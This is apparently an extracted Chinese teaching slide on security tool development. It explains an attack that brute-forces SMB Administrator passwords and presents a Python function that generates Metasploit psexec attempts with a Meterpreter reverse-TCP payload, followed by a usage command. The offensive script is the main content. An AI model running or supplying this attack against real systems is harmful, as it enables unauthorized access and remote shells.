信息安全工具开发 任务讲解与实施（课中） 针对用户名和密码组合暴破(PPT).pptxVIP

知识点：针对用户名和密码组合暴破;;;当攻击者成功的启动 ms08-067_netapi 的 exploit 攻击目标受害者的时候，管理员安装最新的安全补丁能轻松的阻止攻击。因此，脚本将使用第二个攻击向量。它将通过用户名和密码的组合暴力破解 SMB 服务，获得对主机的远程执行程序的权限。;def smbBrute(configFile, tgtHost, passwdFile, lhost, lport): username = Administrator pF = open(passwdFile, r) for password in pF.readlines(): password = password.strip(\n).strip(\r) configFile.write(use exploit/windows/smb/psexec\n) configFile.write(set SMBUser + str(username) + \n) ; configFile.write(set SMBPass + str(password) + \n) configFile.write(set RHOST + str(tgtHost) + \n) configFile.write(set PAYLOAD windows/meterpreter/reverse_tcp\n) configFile.write(set LPORT + str(lport) + \n) configFile.write(set LHOST + lhost + \n) configFile.write(exploit -j -z\n);分析代码： 函数 smbBrute 接受Metasploit 配置文件，目标主机，一系列密码的文件，本地地址和本地端口作为输入，然后进行监听。它设置用户名为默认的 Windows 管理员administrator 然后打开密码文件。对于文件的每一个密码，函数将建立一个Metasploit 资源配置文件。如果一个用户名和密码组合成功了，exploit 将会启动 Meterpreter 攻击荷载反向连接到本地的地址和端口。;使用方法： $ python3.5 5.1.8.py ;$ sudo python3.5 5.1.8.py -H 192.168.24.78 -l 192.168.24.14 –p 33333 -F ./pass.txt ;